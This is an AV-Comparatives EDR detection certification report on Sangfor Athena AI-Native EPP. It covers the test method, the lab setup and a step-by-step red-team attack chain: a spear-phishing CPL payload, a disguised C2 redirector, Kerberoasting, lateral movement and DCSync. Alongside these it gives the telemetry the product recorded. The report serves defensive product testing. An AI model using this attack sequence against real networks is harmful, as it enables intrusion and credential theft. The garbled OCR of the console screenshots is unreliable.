Av Ind epen dent Tests WWWw.av-www.av-comparatives.org
of Cybersecurity Solutions

p
- -t

O

EDR Detection Validation Test period: March 2025
Certification Test 2026 Sl agzs

Sangfor Athena AI-Native EPP


http://www.av-comparatives.org/

m EDR Detection Validation Test 2026
EDR Executive Summary

AV-Comparatives conducted this EDR Detection Validation Test in March 2026, with the report published
in May 2026.

The test evaluates the ability of EDR solutions to detect and provide visibility into a multi-step attack
scenario consisting of 14 stages, as well as their behaviour in Signal-to-Noise situations. For this purpose,
the product was configured in detection-only mode to enable a consistent assessment of detection and
visibility across all attack steps. This approach focuses on how effectively individual techniques are
identified and investigated, independent of prevention mechanisms.

Sangfor Athena AI-Native EPP demonstrated detection visibility across multiple
stages of the attack scenario, providing a combination of alert-based detections and
telemetry that supports effective threat hunting and investigation.

Sangfor Athena AI-Native EPP was Certified in the EDR Detection Validation Test.

The product provided detection coverage across a substantial portion of the steps, CERTIFIED
based on the presence of alerts and/or relevant telemetry. EDRIDEtection

2026

The table below differentiates between alert-based detection (Active Response) and telemetry-based
visibility that can be identified through threat hunting. Detection coverage is based on the presence of
either alerts or relevant telemetry.

Active
Response

Telemetry

While not all steps resulted in immediate alerting, the available telemetry provided sufficient visibility to
identify and investigate the underlying activity through threat hunting. The distinction between alerting
and telemetry reflects differences in operational effort rather than detection capability.

In addition to the attack scenario, five Signal-to-Noise scenarios were executed to assess alerting behaviour
during benign administrative activities. The product handled these scenarios appropriately, without
generating excessive or misleading alerts.

Validated

Active Response Not Validated
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Introduction

Every year, AV-Comparatives conducts the EPR Test, which focuses on measuring the quality of prevention
provided by EPP, EDR, and XDR products. In addition, AV-Comparatives conducts the EDR Detection
Validation Test, which evaluates the detection and visibility capabilities of these products, complementing
the prevention-focused assessment of the EPR Test. The test design is informed by industry feedback and
evolving enterprise requirements, reflecting current expectations around detection, visibility, and
operational usability in modern security environments. It is continuously refined on an annual basis.

Methodology

Detection Evaluation Approach

EDR Detection Validation Test 2026

This test focuses on the ability of EDR solutions to detect and provide visibility into individual attack
steps, rather than to prevent them. To enable this, all products were configured in detection-only mode.

This visibility may be provided in two forms:

o Active Response (Alerting):
The product generates an alert in the management console or locally, highlighting the activity and
bringing it to the immediate attention of the analyst.

o Telemetry (Threat Hunting):
The activity is recorded as part of the product’s telemetry and can be identified through manual
investigation or threat hunting queries.

Both forms represent valid detection capabilities, although they differ in terms of operational effort required
for identification.

To reflect this, we differentiate between:

o Immediate detection (Active Response), where the product generates an alert
o Investigative detection (Telemetry), where the activity is discoverable through telemetry

This distinction allows us to evaluate not only whether an activity is visible, but also how easily it can be
identified during real-world operations.

This configuration differs from typical enterprise deployments, where products are usually operated with
prevention and automated response enabled. In some cases, such a detection-only configuration is not
directly supported and requires adjustments. The purpose of this approach is not to simulate a default
deployment, but to isolate and evaluate detection capabilities in a controlled and comparable manner across
all tested products. As a result, the findings of this test should be interpreted in the context of detection
and visibility, and not as a measure of full protection effectiveness. The absence of an alert should not be
interpreted as a lack of detection capability if sufficient telemetry is available to identify the activity.

4
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Step Evaluation Logic

Each attack step may consist of multiple steps. A step is evaluated based on the overall visibility of the
activity:

e Validated: Relevant detection is available (via alert or telemetry), providing sufficient context for
an analyst to identify the activity.
e Not Validated: No relevant detection or telemetry was observed.

A step is considered detected if relevant visibility is available, either through alerts or telemetry.

Note on Early-Stage Activity (Initial Access)

For early-stage activities such as initial access, the absence of an alert does not necessarily indicate a
detection gap. Depending on the technique used, these stages may generate either low-signal or clearly
suspicious events. In some scenarios, immediate alerting may not be expected or appropriate in order to
avoid false positives. In other cases, alerting may be possible depending on the characteristics of the
activity and the product’s detection logic. Where no alert is generated, the availability of structured
telemetry and contextual information is considered sufficient to support detection and investigation.

Test Configuration and Retesting Policy

To ensure fairness and comparability across all tested products, each solution must be configured correctly
prior to the start of testing. Vendors are given the opportunity to review and confirm the configuration
during the setup phase. Once the test has started, the configuration is considered final. If a product deviates
from the intended test configuration during execution (e.g. due to misconfiguration, product limitations,
or unexpected behaviour such as blocking activity despite detection-only settings), the observed results
will be used for the evaluation. This policy will apply to all EDR tests conducted from 2027 onwards.
Retesting will generally not be performed in such cases, as this would compromise consistency across
participants. Exceptions may be considered only in rare cases at AV-Comparatives’ discretion, for example
in the event of demonstrable test environment issues. Vendors are responsible for ensuring that their
product behaves according to the agreed configuration during the test.

Configuration Considerations

Products are expected to be configured in a manner that reflects realistic enterprise deployments. While
detailed logging and telemetry can improve visibility, configurations that significantly impact system
usability, performance, or operational practicality are not considered representative of typical production
environments. The evaluation focuses on detection capabilities under balanced and practically usable
configurations, rather than extreme settings designed solely to maximize data collection. Vendors are
responsible for ensuring that their product configuration reflects an appropriate balance between visibility
and operational usability. If a configuration is observed to significantly impact system performance or
usability, this will be clearly noted in the report to ensure an accurate interpretation of the results.
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Attack Scenario

As mentioned above, this test is not designed to evaluate the quality of prevention mechanisms but rather
the detection capabilities of individual attack steps and techniques in EDR products. To facilitate this, each
product in the test was configured to operate in detection-only mode. This approach allows us to closely
examine how well separate techniques are detected, even for actions or activities that the product would
typically block in its default configuration. Additionally, it ensures that a Security Officer receives sufficient
Threat Intelligence information for later analysis.

The complexity of configuring products for detection-only mode varies from vendor to vendor. Some vendors
provide an easy-to-use switch to activate this mode, while others do not, as their solutions are designed to
operate in an automatic mode, blocking and remediating all malicious activities while accumulating related
technical information about the prevented attack. To ensure consistency and accuracy, we worked directly
with each vendor during the setup process and thoroughly documented all configuration changes made.

Why do we configure products in detection-only mode instead of attempting to bypass them with an initial
access malware sample before moving on to post-exploitation? The main reason is simple: we cannot reliably
create a malware sample that is guaranteed to bypass every product and establish a command-and-control
(C2) channel. Even if we could, the likelihood of successfully bypassing all products in the test using the
same sample is quite low. While it might be possible to craft a sample that evades multiple products with
enough time and effort, this would require tailoring different samples for each product.

To streamline the testing approach, it is far more efficient to configure all products in detection-only mode.
This ensures consistent initial access across products using the same malware sample, or more precisely,
the same malware type or technique (recompiled as needed for each test). This method provides a
standardized starting point for post-exploitation activities, making comparisons between products fairer
and more reliable.

It is important to note that no vendor knows in advance which APT threat model, chain of attack techniques,
or execution flow will be used in the test. Each product is evaluated blindly, meaning vendors have no prior
knowledge of the exact attack sequence. This approach ensures a real-world simulation of how their product
would perform against an unknown advanced persistent threat (APT). Future test scenarios will not be
identical and may evolve over time, ensuring a balanced and fair evaluation across all tested vendors.

Signal-to-Noise Analysis

In addition to the primary attack scenario, we designed five distinct Signal-to-Noise scenarios to measure
noisy alerting behaviour . Unlike several other test labs, we deliberately excluded these scenarios from the
main attack simulation based on several key considerations.

In real-world attack scenarios and enterprise threat investigations, Signal-to-Noise analysis provides critical
insights for threat hunting. However, integrating these scenarios into the primary attack simulation could
introduce additional variables that may obscure the true detection effectiveness of the tested products.
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To maintain clarity, we conducted Signal-to-Noise testing as a separate activity. For example, consider an
organization where an EDR triggers an alert for a scheduled task executing a script from the SYSVOL share
on a workstation. While this activity might be completely legitimate within the organization, it could also
indicate an attack. Investigating such detections requires resources, including personnel, time, and tools,
to determine whether the activity is benign or part of a malicious campaign.

By decoupling the Signal-to-Noise test from the primary attack scenario, organizations gain a clearer
understanding of the impact of Signal-to-Noise (noisy alerting behaviour ) without conflating it with actual
attack indicators. This separation not only ensures a more accurate assessment of an EDR’s detection
capabilities but also helps prevent unnecessary investigations triggered by unrelated Signal-to-Noise
scenarios. Ultimately, this approach reduces operational overhead and enhances efficiency in threat
detection and response.

To ensure a realistic evaluation, we do not disclose the specific Signal-to-Noise scenarios used in the test
unless a vendor fails to handle one, in which case some details are provided in the public report. This policy
prevents vendors scheduled for future testing from preparing in advance, ensuring a fair and unbiased
assessment. Additionally, minor variations are introduced in each test iteration to maintain the integrity of
the evaluation process.

Starting from 2027, alerts on legitimate system or trusted processes observed during the test scenarios may
be considered in the signal-to-noise assessment, particularly where such alerts impact the clarity, relevance,
or usability of the detection results.

Certification Criteria

Certification is granted based on a product’s ability to provide consistent and meaningful detection coverage
across the attack chain, while maintaining acceptable signal-to-noise levels.

To achieve certification, a product must:

® Provide sufficient visibility into at least two-thirds of the attack steps, either through alerts or
telemetry, enabling an analyst to identify and investigate the activity

* Demonstrate the ability to correlate and contextualize events across multiple stages of the attack

® Not generate alerts in more than three Signal-to-Noise scenarios

The evaluation considers not only whether individual steps are detected, but also whether the overall attack
sequence can be understood and reconstructed based on the available data. Detection coverage is based on
the presence of relevant visibility, regardless of whether it is provided through alerts or telemetry. Threat
hunting results are based solely on information available via the central management console, without
performing additional endpoint-side evidence collection or local artefact analysis. Only certified products
will have their reports published.
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Tested Product

Sangfor Athena AI-Native EPP was tested as part of AV-Comparatives' EDR Detection Certification Test in
March 2026. The tested product version was 20.0. The test aimed to validate the product's threat detection
capabilities.

Test Setup

The test environment consists of an internal lab setup with Windows 11 workstations/clients, along with a
file server and a domain controller, both running Windows Server 2022.

The command-and-control (C&C) infrastructure was hosted in Microsoft Azure, with the C&C server deployed
on a Kali Linux virtual machine. A redirector was used to forward traffic from the implant/payload to the
C&C server, providing an additional layer of obfuscation.

Spear-phishing emails were delivered to the target machine (WS01) within the internal lab environment
using a standard mail account.

Microsoft Azure Internal Network - LAB

C&C Server:
Kali Linux

Workstation WS01:

Windows 11
C&C Redirector:
Linux Debian

Firewall - :
Domain Controller DCO1: Fileserver FS01:
Windows Server 2022 Windows Server 2022
Email Server Workstation WS02:
Windows 11

Figure 1 Test Setup Infrastructure
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How We Tested

EDR Detection Validation Test 2026

For the attack scenario, a commercially and publicly available command-and-control (C2) framework was
used, deployed on a Linux-based system hosted in Microsoft Azure.

To manage communication between the implant (payload on the targeted client) and the C2 server, an
additional system was configured as a redirector. This intermediary routed command-and-control traffic from
compromised endpoints within the internal test network to the C2 server, providing an additional layer of
obfuscation and reflecting common real-world attacker practices.

To increase the plausibility of the external infrastructure, the redirector was configured to resemble a
legitimate service, including the use of a realistic domain name and appropriate web categorization. These
measures help simulate realistic conditions and reduce the Llikelihood of trivial detection based on
infrastructure characteristics alone.

While more complex infrastructures (e.g. involving multiple redirectors or proxy layers) are often used in
real-world scenarios, the setup used in this test was intentionally kept controlled and reproducible.

For the initial access phase, a malicious payload was delivered via a spear-phishing email containing a
download link. The payload was designed to simulate a realistic user-driven execution scenario.

The scenario was designed to represent realistic attack techniques while maintaining a controlled and
comparable test environment.

Certification Criteria

Certification is granted based on a product’s ability to provide consistent and meaningful detection coverage
across the attack chain, while maintaining acceptable signal-to-noise levels.

To achieve certification, a product must:

e Provide sufficient visibility into at least two-thirds of the attack steps, either through alerts or
telemetry, enabling an analyst to identify and investigate the activity

* Demonstrate the ability to correlate and contextualize events across multiple stages of the attack

* Not generate alerts in more than three Signal-to-Noise scenarios

The evaluation considers not only whether individual steps are detected, but also whether the overall attack
sequence can be understood and reconstructed based on the available data.

Detection coverage is based on the presence of relevant visibility, regardless of whether it is provided
through alerts or telemetry.

Only certified products will have their reports published.
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Detection Test Workflow

The attack scenario is designed to simulate a realistic red team engagement, informed by practical
experience and influenced by techniques observed in Advanced Persistent Threat (APT) activity, with this
year’s scenario primarily drawing on groups such as APT29 (Cozy Bear / Nobelium), APT41 (Winnti / Barium
/ Wicked Panda), APT27 (Emissary Panda), APT10 (Stone Panda) and FIN7 (Carbanak group). These groups
are referenced as representative examples of advanced adversary behaviour , rather than as direct emulation
targets.

Rather than replicating a specific APT group, the focus is on a broader set of Tactics, Techniques, and
Procedures (TTPs) that are commonly encountered in real-world environments. This approach enables the
evaluation of detection capabilities across a diverse range of attack techniques, reflecting threats that
organizations are likely to face in practice.

To ensure a realistic assessment, vendors are not informed in advance about the specific techniques used
during the test. This reflects real-world conditions, where attackers do not disclose their methods, and
allows for an unbiased evaluation of how effectively products identify and respond to previously unseen
activity.

Windows 11 - WS01
Target Host

Win Server 2022 - FS01

Target Host Win Server 2022 - FS01

Target Host

Step 1- Initial Access
Delivery spear phishing email
to target WS01, open email and
download malware.

Step 8 - Process Injection o
Process injection from
rundli32.exe into a locally
started msedge.exe process.

Step 9 - Persistence
Creating persistence through
a local administrator account.

A

Windows 11 - WS01

Windows 11 - WS01 Target Host

Target Host

Win Server 2022 - FS01
Target Host

Step 7 - Lateral Movement
Move laterally from WS01 to
FS01 using the credentials
from the Kerberoasted
service account.

Step 2 - Execution
Execution of malware in the
context of the domain user on
WS01 (medium integrity).

Step 10 - Impersonation
Impersonating a privileged
domain user account via
token stealing.

y

Windows 11- WS01
Target Host

Step 3 - Process Injection
Process injection from
rundli32.exe into a locally
started chrome.exe process.

Windows 11 - WS01
Target Host

Step 6 - Credential Access
Credential access through
Kerberoasting.

Win Server 2022 - FS01
Target Host

Step 11 - Lateral Movement
Move laterally from FS01to
DCO1 using the credentials
from the impersonated
domain user.

Win Server 2022 - DCO1
Target Host

Step 14 - Credential Access
Credential access through
DCSync.

Windows 11 - WS01
Target Host

Step 4 - Persistence
Establish local unprivileged
persistence through a
scheduled task using a COM
object.

Windows 11 - WS01
Target Host

Step 5 - Discovery
Enumeration of installed
security software, user
sessions, UAC level, and

related system information.

Win Server 2022 - DCO1
Target Host

Step 12 - Process Injection
Process injection from
wsmprovhost.exe into a
locally started wuaucit.exe
process.

Win Server 2022 - DCO1
Target Host

Step 13 - Persistence
Creating persistence through
a domain admin account.

Figure 2 Detection Test Workflow
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The following list provides an overview of the steps executed during the attack scenario.

Step 1: Initial Access Malware Delivery

Step 2: Initial Access Spearphishing Link & User Interaction Simulation
Step 3: Command and Control Browser-Parented Beacon Execution

Step 4: Persistence Scheduled Task Creation

Step 5: Discovery Local System & Domain Enumeration

Step 6: Credential Access Kerberoasting Service Account

Step 7: Lateral Movement Service Account Authentication to FSO01

Step 8: Command and Control Browser-Parented Beacon Execution

Step 9: Persistence / Privilege Escalation Local Administrator Account Creation on FSO1
Step 10: Privilege Escalation / Discovery Domain User Impersonation & Privilege Assessment
Step 11: Lateral Movement Domain Admin Pivot from FSO1 to DCO1

Step 12: Command and Control Parent/Child Process Masquerading on DCO1

Step 13: Persistence / Privilege Escalation = Domain Admin Account Creation

Step 14: Credential Access DCSync Attack (Domain Credential Replication)

Signal-to-Noise Test Workflow

We designed and tested five distinct Signal-to-Noise scenarios to evaluate the quality of detections and
alerts, focusing on over-alerting prevention. As previously mentioned, to ensure accurate results, we fully
separated these tests from the attack scenario, preventing any interference with the assessment of detection
effectiveness. Each Signal-to-Noise scenario was tested independently, allowing for a clear evaluation of
how well products differentiate between benign activity and real threats.

11
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Alerting and Incident Generation

Security products differ in how detection events are presented. Some generate a high number of individual
alerts, while others correlate multiple events into a smaller number of incidents.

For this reason, both raw alert counts and, where applicable, incident counts are provided. These metrics
offer an indication of operational workload and alert correlation behaviour.

A higher number of alerts combined with a lower number of incidents may indicate stronger correlation
capabilities. Conversely, a high number of alerts without corresponding correlation may increase analyst
workload.

A low alert count should not be interpreted as better performance, as it may also indicate reduced visibility.

Incident definitions are product-specific and may vary between vendors; therefore, these values are provided
for informational purposes and are not directly comparable across all products.

This metric reflects how detection information is presented to analysts, rather than how effectively threats
are detected.

Sangfor generated 23 alerts, which were consolidated into 2 incidents. This indicates that multiple related
events were grouped, allowing analysts to focus primarily on higher-level incident views, while retaining
access to detailed alert information when needed.

| Time Detected Last 24 hours Keyword O Q Severty ~ ncident Name ~ Threat Type Clear All
Threat Tag Root Cause Entity Fixing Status v Endpoint Name ~ <+
Time Detected Severity Incident Name Al Analysis Summary Threat Type
Credential Theft via The system service process services.exe launched the )
m Credential Theft
Backdoor Launched by the Syste. .. wuauclt.exe with an implanted backdoor.

A Remote Control Trojan Attack via Launch the malicious program 8556e83.exe via SMB

. Credential Theft
SME Protocol Using 8556e83.exe protocol from a remote shared path and register it as

12
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=0 A Remote Control Trojan Attack via SMB Protocol Using B556e83.exe

Target Endpoint  FS01 (10.10.70.201) Owner - Threat Type Credential Thefl Threat Tag  Backdoor Attack +2 @
p Al Reasoning Analyzing Logs: 91 Al Analysis Results Attack Chain Suspicious Entities Process Graph @ Aleris
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ngine
EEES  sheloode execu Iti ted that msedge exe (PID: 2968)  msedge.exe — Image Lo ws2_32.dIl Tactle:  Defense Evasion (T... 10A Engine
.. suspected that an .. ge. - ge. S = Technigue: Reflective Code L. 7 .
[ Medium | Shellcode execy Iti ted that msedge exe (PID: 2068)  msedge.exe— Image Lo berypt.dll Tactic Dafensa Evasion (... 104 Engine
oo suspec atan ... ge. . 9e- o=t YR Technigue: Reflective Gode L. 7 a
Tactic: Defense Evasion (T... N
m Suspicious cros. .. Process rundli32.exe ... rundli32 exe (PID: 4400} rundli32 exe Pracess | msedge exe . ) I0A Engine
Technigue: Process Injection ... 7]
m Process created Iti ted that rundli32.exe (PID: 4400) rundli32.exe — Process msedge exe Tacte Defense Evasion (T... I0A Engine
5 suspes atan : : : o e Technigue: Reflective Code L. 7 <
EEES  sheloode execu Iti ted that msedge exe (PID: 2968)  msedge.exe — Image Lo advapi32.di Tactle:  Defense Evasion (T... 10A Engine
- suspected that an ... ge. - ge- ae ko L Technique: Reflective Code L. 51 .
[ Medium | shell Iti that msedge exe (PID: 2968)  msedge.exe — Image Lo cryptsp dil Tactic Defense Evasion (... 10 Engine
o atan . 9 g a Tptsp Technigue: Reflective CodeL... 7 3
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EEES  sheloode execu Iti ted that undli32exe (PID: 4400)  rundii3Z.exe — Image Lo advapi32.di Tactle:  Defense Evasion (T... 10A Engine
o suspec atan ... : | : ek L Technique: Reflective Code L 7 o
Tacic: Lateral Movement (... N
[ Medium | Com.. It thatan.. 8556e83exe (PID 17 8556s83exe — Process rundli32 exe : ’ 10 Engine
Technigue: Remote Services ... 71
15 in Total 1 2 > Enties per Page 10 w Page
I3 credential Theft via ' L hed by the Sy Service Process services.exe
Target Endpoint DCO1 (10.10.70.200) | Owmer - = ThrealType CredentialThefl | ThreatTag Malware @
Al Reasoning yzed Logs: 26 Al Analysis Results Attack Chain Suspicious Entities Process Graph @ Aers
T Filters a||e
Detection

Time Delecled Alert Name - Description Alert Enbity Activity Log ATT&CK Taclic & Technique

Engine

Suspicious cros Process rovhost wsmprovhost exe (PID. wsmprovhostexe — Process | wuaucl exe e e 104 Engine
' " i g Technique: Process Injection . =) 29
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Shellcode execu. . is suspected wuauch exe (PID: 2632) wuauc exe — Image Lo - dil 104 Engi
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I0A Engine

Tactic: Defense Evasion (T..
Process crealed... i wuauch exe (PID: 2632) wuauc exe — Process .. - net exe 104 Engine
Itis suspected that an ... { ) Technique: Reflective Code L. 7 Enu

Process created n wuauch exe (PID: 2632) wuduch.exe Process nelexe Tk 8 Exa I0AE
is suspected thal an Technigue: Reflective Code L... 5 e

Tactic: Defense Evasion (T..
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Tactic: Command and Cont....
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shell... Nis that an ... wuduch exe (PID: 2632) . a 104 Engine
wuauclexe — Image Lo.. - cryptsp.dl Technique: Reflective Code L.
& in Total 1 Entries per Page 10~ Page
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Test Results in Brief

Detection Test Results
This section presents the detailed detection results for the attack scenario, which consists of 14 steps.

The table below summarizes detection outcomes on a step-by-step basis. Active Response indicates that an
alert was generated in the product interface. Telemetry indicates that the activity was recorded and could
be identified through threat hunting. A step is considered detected if either alerting or relevant telemetry
is available.

Active
Response

Telemetry

Tab 1 Detection Test Results

Validated Not Validated

In cases where no active alert was generated and no relevant telemetry could be identified during our
analysis, vendors were given the opportunity to assist in reviewing the data to confirm whether any relevant
events were available within the product. This approach helps ensure that results are not affected by
differences in threat hunting techniques or product-specific knowledge. Any additional findings identified
during this process must be reproducible and consistent with the original test conditions.

The image below shows an overview of the command-and-control sessions in the C2 framework related to
the attack scenario.

L1-HTTP_Test jackwhite [labl\svc_sglservice] W01 chrome.exe 5748 x64 27s 15 seconds (47% jitter)
L1-HTTP_Test SYSTEM * [LAB‘\alice jones] F501 msedge.exe 10164 x64 309ms 14 seconds (67% jitter)
L1-HTTP_Test SYSTEM™ FS01 rundll32. exe 9144 x64 1s 9 seconds (39% jitter)

L1-HTTP_Test jackwhite W301 rundll32. exe 2004 x64 33s 13 seconds (33% jitter)
L1-HTTP_Test alice.jones * DCo wsmprovhost exe 1960 x64 10s 19 seconds (67% jitter)
L1-HTTP_Test alice.jones * DCo wuauclt exe 4176 x64 1s 14 seconds (64% jitter)

Figure 3 Command-and-Control sessions
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Interpretation of Detection Results

The following section provides guidance on how to interpret these results in the context of detection
visibility and operational usability.

When interpreting the results, it is important to consider not only whether detection data is present, but
also how this information is presented to analysts. EDR products differ significantly in how detection events
are structured, correlated, and visualized. A product that generates a high volume of raw telemetry or alerts
may provide broad visibility but can also increase analytical complexity if the information is not effectively
organized. Conversely, a product that presents fewer but well-correlated and clearly structured events may
enable faster and more efficient investigation, even if not every individual activity is surfaced
independently.

For this reason, the results should not be interpreted purely as a quantitative comparison of detection
points, but also in the context of usability, correlation, and the overall ability to support effective incident
analysis. The evaluation therefore considers both detection visibility and operational usability as key aspects
of effective detection.

As a result, direct comparisons between products based solely on the number of detected steps or alerts
may not fully reflect their effectiveness in practice. The results should be interpreted in the context of both
detection coverage and how effectively the product supports analysis and investigation.
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Signal-to-Noise Test Results

This section presents detailed results for all Signal-to-Noise scenarios, each of which was executed
independently and decoupled from the attack scenario.

Additional manual investigation of telemetry-based events was conducted primarily in the context of
validating alert-based detections, as threat hunting itself is outside the primary scope of this test.

Active Response

Tab 2 Signal-to-Noise Test Results

Validated Not Validated
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Test Results in Detail: Detection Test

In this public report, certain sensitive information has been blurred in the screenshots. This includes details
that could reveal aspects of the test setup or methodology beyond what is necessary for interpretation of
the results. These measures are taken to ensure fairness, maintain confidentiality, and preserve the integrity
of the testing process. Test scenarios are newly developed for each test cycle and are not reused, ensuring
continued relevance and a balanced evaluation across all participating vendors.

Step 1. Initial Access

Description In the first step, we simulated an Initial Access scenario by delivering a malicious payload to the
domain user Jack White on WSO01 via a targeted spearphishing email. A malicious Control Panel
applet (.cpl) was crafted to mimic a legitimate Adobe Reader update. The payload was packaged in
a password-protected .7z archive to emulate common evasion techniques and hosted externally on
a cloud platform or storage. The phishing email contained a hyperlink to the hosted archive and was
designed to resemble an internal IT notification requesting an urgent update.

TTPs e T1566.002 - Spearphishing Link

Delivery of a malicious hyperlink within a targeted phishing email directing the user to an
external file hosting service.

e T1036 - Masquerading
The malicious Control Panel applet was disquised as a legitimate Adobe Reader update to
deceive the user.

e T1105 - Ingress Tool Transfer
Retrieval of malicious tooling from an external hosting provider into the target environment.

e T1027 - Obfuscated/Compressed Files and Information
Use of a password-protected archive to evade automated inspection mechanisms.

Performed on Wso1
Host IPv4 10.10.70.202
User context

Integrity level medium integrity

Result / Observations We did not observe any active alerts associated with the activities performed in this step. However,
threat hunting telemetry clearly shows the archive Reader_en_install.7z being written to disk on
WSO01 via chrome.exe. The recorded file operation is a File Stream Write, and the log details link
the downloaded archive to the user context jack.white in the Downloads directory. In addition to
the local file path, the telemetry also preserves the remote source information, showing that the file
was downloaded from a URL, with the parent page likewise pointing to the cloud storage link. This
provides useful visibility into both the file creation event on the endpoint and the external origin
of the downloaded archive. From a threat-hunting perspective, this is a good example of telemetry
that supports rapid reconstruction of the initial delivery chain. The available metadata ties together
the responsible browser process, the written file, the target location on disk, and the external
download source in one place. That makes it possible to validate that the suspicious archive was not
only present on the host, but also how it arrived there, which is valuable for tracing user-driven
initial access activity and pivoting into related web, process, or file events.
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EDR Detection Validation Test 2026

Log Investigation

Investigation Panel | * 4+

| Time Oceurred Last 30 days Opera | og Details

| Entity Name (Target) Reader_en_install.7:

Time O

Operation Tyg

File Operatior

Eehavior ID
Operation Type
Last Occurred

Source Entity Info

Process File Name

Process File Path

File SHA256 (D)

File MD5 (i)
Signature Validity
Process Name
File Size

File Modification
File Descripfion
Product Name
Signature Time
Software Type

Running in Backend
Target Entity Info

File Name

File SHA256 (1)
File MD5 (D
File Size
Source Type
Source URL

Source Path
File Modification
File Affribute Tag

6313637732010696681

File Cperation

chrome exe

C\Program

Files\Google\Chrome\Application\chrome_exe
bf24de007 1cd2%ecT709e55f9417d55aab4fad6b4es2

596e25ficGeTheb7bsb

346d17394a5aa67971cad549b31564cd

Trusted Embedded Signature

chrome

Google Chrome
Google Chrome

Browser

False

Reader_en_install.7z

File Downloaded from Web

CAau jack.white\Downloads'\R

d

32

Close
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Activity Type

First Occurred

FID

Command Line

Process Start Time

Digital Signature

Integrity Lewel
File Creation
File Access
File Version

Original File Name

App Name

File Path

File Creation
Digital Signature
Signature Validity
Source App
Parent URL

File Access

File Stream \Write

12072

"C\Program
Files\Google\Chrome\Application\chrome. exe" —. ..

Google LLC

Medium

chrome._exe

chrome

CAUsers\jack white\Downloads\Reader_en_install. 7z

i

chrome
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Step 2. Initial Access

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this phase, we simulated typical user behaviour by having Jack White open a crafted phishing
email in Microsoft Outlook and click the embedded hyperlink. The link redirected to an externally
hosted archive containing the C2 payload in the form of a malicious Control Panel applet (.cpl)
masquerading as an Adobe Reader installer (Reader_en_install.cpl). We then simulated extracting
the archive and executing the malware in the context of the unprivileged user Jack White.

A User Account Control (UAC) prompt was triggered because the malware package also included a
legitimate installer serving as a decoy. However, since execution occurred within a medium-integrity
context, the UAC prompt was not approved and was therefore ignored.

e T1566.002 - Spearphishing Link

Delivery of a malicious hyperlink within a targeted phishing email.
e T1204.001 - User Execution: Malicious Link

User interaction with a phishing link initiating payload retrieval.
e T1204.002 - User Execution: Malicious File

Execution of the downloaded payload by the user.
e T1105 - Ingress Tool Transfer

Retrieval of malicious tooling from an external hosting provider into the target environment.
e T1027 - Obfuscated/Compressed Files and Information

Use of a password-protected archive to evade automated inspection mechanisms
e T1071.001 - Application Layer Protocol: Web Protocols

Use of HTTP/HTTPS communication to blend C2 traffic with legitimate web traffic.

WSo01
10.10.70.202
jack.white@lab.local

medium integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the telemetry for this step provides a coherent view of the user-
driven execution chain following delivery of the phishing payload. The screenshots show that the
downloaded archive Reader_en_install.7z was decompressed in the user’s Downloads directory and
that the resulting file Reader_en_install.cpl was subsequently executed. The hunting data also
preserves useful provenance: the archive was downloaded via Chrome from a link, and the
decompression event was classified as suspicious with mapping to phishing-related activity. This is
valuable context because it links the initial access workflow to a concrete external source and to the
exact artifact later involved in execution.

The subsequent process telemetry also shows the malicious execution path in a clear and traceable
manner. The EDR recorded explorer.exe launching control.exe, with the command line referencing
the downloaded CPL file, and additional hunting data shows rundll32.exe loading
Reader_en_install.cpl via Shell32.dll,Control_RunDLL. This makes the transition from user interaction
to malicious control panel item execution visible in the telemetry and provides strong investigative
evidence for the initial execution stage. Overall, this step was captured well from a hunting
perspective: the product exposed the download source, the decompression of the suspicious archive,
the execution of control.exe, and the follow-on CPL loading through rundll32.exe, allowing the
activity to be reconstructed in a consistent and analyst-friendly way.
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Step 2 Manual Investigation for telemetry / Threat hunting

Log Investigation Investigation Panel @ X <+ 'e)
Time Cccurred Last 30 days Opera Log Details X
Entity Name (Target) Endpoinit Nar

Behavior Info ~
Time Occurred Operation Typ
Behavior ID B631458220068453833377 Activity Type File Decompression
File Operatior
Operation Type File Operation First Qccurred
Last Occurred
Rule ID 1100011566001003 Rule Name Unzip Suspicious Files
Description It is suspected that an attacker exiracies suspicious Rule Intent Gain Access
files to...
ATTECK Taclic Initial Access (TADDD1) ATT&CK Technique Phishing (T1566) 7
Source Entity Info ~
File Name Reader_en_install 7z File Path CUsers\jack white\Downloads\Reader_en_install. 7z
File SHA256 (D - File Creation
File MDS (1) - Digital Signature -
File Size oo Signature Validity -
Source Type File Downloaded from Web Source App chrome
Source URL o Parent URL
Source Path C jack white\D loads\Reader_en_install. 7z
File Modification File Access
File Atiribute Tag 32
Target Entity Info A
File Name Reader_en_install.cpl File Path CAUsersijack white\Downloads\Reader_en_install.cpl
File SHA256 (D File Creation
File MDS (1) Digital Signature -
File Size Signature Validity Unsigned
Source Type File Downloaded from Web Source App chrome
Source URL Parent URL
Source Path CAU jack white\D loads\Reader_en_install. 7z
File Modification File Access
File Atiribute Tag 32
Close
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Log Investigation Investigation Panel : X 4+ 'e)
| Time Cccurred Last 30 days Opera Log Details b
| Entity Mame (Target) controlexe ~ || Bi Uperation lype Process Uperation First Uccurred
Time O o T ] Last Occurred
Process Opel Source Entity Info ~
Process File Mame explorer.exe PID 12440
Process File Path C\Windows\explorer.exe Command Line CAWINDOWS\Explorer EXE
File SHA256 (1 dfe63372528de4f30dc24d858d3710263c0019736b20c  Process Start Time
Tb2ch212ead5459fc2ce
File MD5 (D 320e1d0c372735b3e544d649cadedcef Digital Signat Mi ift
Signature Validity Trusted Embedded Signature
Process Name explorer Integrity Level Medium
File Size File Creation .
File Modification o File Access —
File Description Windows Explorer File Version 10.0.26100.7920
Product Name Microsoft® Windows® Operating System Original File Name EXPLORER. EXE
Signature Time
App Name explorer Running in Backend False
Target Entity Info ~
Process File Mame control.exe FID 14064
Process File Path C\Windows\System32\conirel exe Command Line "CAWINDOWS\System32\control exe”
"L \jack white\D loads\Reader_en_install.c
File SHA256 (D Gach71ca7d4319ded51f86aebea3f7f2cd29a2d883e70  Process Sfart Time
TbaBo95ebB7E 180947
File MD5 (D 0ce77c9061b7 50dfEd9b4b798e0b3075 Digital Signat Mi ift
Signature Validity Trusted Security Catalog Signature
Process Name control Integrity Level Medium
File Size File Creation -
File Modification File Access
File Description Windows Confrol Panel File Version 10.0.26100.4202
Product Name Microsoft® Windows® Operating System Original File Name CONTROL.EXE
Signature Time
Running in Backend False
Close
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Log Investigation Investigation Panel @ X <+ e)
| Time Occumed Last 30 days Opera | og Details x

| Entity Mame (Target) Reader_en_install.c)

) rundli32.exe . . _ WS01 (10.10.70.202)
Time Occurred Operation Typ File Operation ! Reader_en_install.cpl
PID 14360 - | idefault group

File Operatior

Details Raw JSON

